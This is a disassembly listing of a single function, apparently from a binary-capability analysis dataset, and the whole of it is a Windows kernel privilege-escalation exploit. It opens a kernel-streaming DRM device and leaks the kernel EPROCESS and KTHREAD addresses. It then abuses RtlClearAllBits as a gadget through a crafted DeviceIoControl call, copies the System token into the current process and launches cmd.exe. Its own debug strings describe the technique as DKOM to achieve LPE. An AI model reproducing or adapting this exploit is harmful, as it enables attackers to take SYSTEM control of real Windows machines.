Function at 0x1400012c0
Capabilities:
Execute command
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
push rbp
push rbx
push rdi
push r12
lea rbp, [rsp - 0x3f]
sub rsp, 0xf8
xorps xmm0, xmm0
xor r12d, r12d
xorps xmm1, xmm1
mov qword [rbp + 0x6f], r12
xor eax, eax
mov ebx, r12d
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x41], rax
movups xmmword [rbp - 0x19], xmm0
mov dword [rbp - 0x39], eax
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
movups xmm0, xmmword [0x1400035a0]
movups xmmword [rbp - 0x71], xmm1
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp - 0x61], xmm1
movups xmmword [rbp - 0x51], xmm1
nop dword [rax]
nop word [rax + rax]
movsxd rax, ebx
lea rcx, [rbp + 0x17]
shl rax, 4
lea r8, [rbp + 0x6f]
add rcx, rax
mov edx, 0xc0000000
call qword [sym.imp.ksproxy.ax_KsOpenDefaultDevice]
mov edi, eax
test eax, eax
jne 0x140001645
mov rdx, qword [rbp + 0x6f]
lea rcx, str.___DRM_device_handle_value___p_n
call fcn.140001010
inc ebx
cmp ebx, 1
jb 0x140001320
mov edx, 4
mov qword [rsp + 0xf0], rsi
mov rbx, r12
mov qword [rbp + 0x77], r12
mov r8d, edx
mov qword [rbp - 0x79], r12
lea rcx, [rbp + 0x77]
mov qword [rbp + 0x7f], rbx
mov rsi, r12
call fcn.140001070
test eax, eax
jne 0x140001630
mov qword [rsp + 0xe0], r15
lea rcx, str.___System_EPROCESS_address:__llx_n
mov r15, qword [rbp + 0x77]
mov rdx, r15
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 1
mov ecx, 0x40
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x1400013fc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, rdi
lea rcx, [rbp + 0x7f]
mov edx, eax
call fcn.140001070
test eax, eax
jne 0x140001628
mov rbx, qword [rbp + 0x7f]
lea rcx, str.___Current_KTHREAD_address:__llx_n
mov rdx, rbx
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, 1
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000144c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, rdi
lea rcx, [rbp - 0x79]
mov edx, eax
call fcn.140001070
test eax, eax
jne 0x140001628
mov rsi, qword [rbp - 0x79]
lea rcx, str.___Current_EPROCESS_address:__llx_n
mov rdx, rsi
call fcn.140001010
movups xmm0, xmmword [0x1400035b0]
mov qword [rsp + 0xe8], r14
mov dword [rbp - 0x15], 0x1000
movaps xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x71], xmm0
mov dword [rbp - 0x19], r12d
movups xmmword [rbp - 0x5d], xmm0
mov dword [rbp - 0x61], 1
mov dword [rbp - 0x41], 8
mov qword [rbp - 0x49], r12
mov dword [rbp - 0x4d], 0x45
call fcn.140001190
mov rdx, rax
lea rcx, str.___ntoskrnl.exe_base_address___llx_n
call fcn.140001010
mov edx, 0x10
mov ecx, 0x10000000
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400014dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____AllocateBitmap_failed_with_error:__d_n
call fcn.140001010
mov rdi, r12
jmp 0x1400014eb
mov rdx, rax
lea rcx, str.___Fake_RTL_BITMAP_allocated_at_address___p_n
call fcn.140001010
mov qword [rbp - 0x3d], rdi
lea r14, [rbx + 0x232]
mov dword [rdi], 0x20
lea rcx, [0x140003370]
mov rax, qword [rbp - 0x3d]
xor edx, edx
mov r8d, 1
mov qword [rax + 8], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
test rax, rax
je 0x140001546
lea rdx, str.RtlClearAllBits
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001546
call fcn.140001190
sub rbx, rdi
add rax, rbx
jmp 0x140001555
lea rcx, str.____leak_gadget_address_failed_n
call fcn.140001010
mov rax, r12
mov rdx, rax
mov qword [rbp + 0xf], rax
lea rcx, str.____RtlClearAllBits_kernel_address___p_n
call fcn.140001010
mov rcx, qword [rbp + 0x6f]
lea rax, [rbp - 0x71]
mov qword [rsp + 0x38], r12
lea r8, [rbp - 0x29]
mov qword [rsp + 0x30], r12
mov r9d, 0x40
mov dword [rsp + 0x28], 0x3c
mov edx, 0x2f0003
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1400015ac
lea rcx, str.____DeviceIoControl_failed_n
call fcn.140001010
lea rcx, str.____Leveraging_DKOM_to_achieve_LPE_n
call fcn.140001010
lea rcx, str.____Calling_Write64_wrapper_to_overwrite_current_EPROCESS__Token_n
call fcn.140001010
mov byte [rbp + 0x67], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r12
mov rcx, rax
lea r8, [r15 + 0x4b8]
lea rdx, [rsi + 0x4b8]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 1
mov qword [rsp + 0x20], r12
mov rcx, rax
lea r8, [rbp + 0x67]
mov rdx, r14
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rcx, str.cmd.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r14, qword [rsp + 0xe8]
xor eax, eax
mov r15, qword [rsp + 0xe0]
mov rsi, qword [rsp + 0xf0]
add rsp, 0xf8
pop r12
pop rdi
pop rbx
pop rbp
ret
mov r8d, edi
lea rcx, str.____KsOpenDefaultDevice_at_index__d_failed_with_error___x_n
mov edx, ebx
call fcn.140001010
mov eax, edi
add rsp, 0xf8
pop r12
pop rdi
pop rbx
pop rbp
ret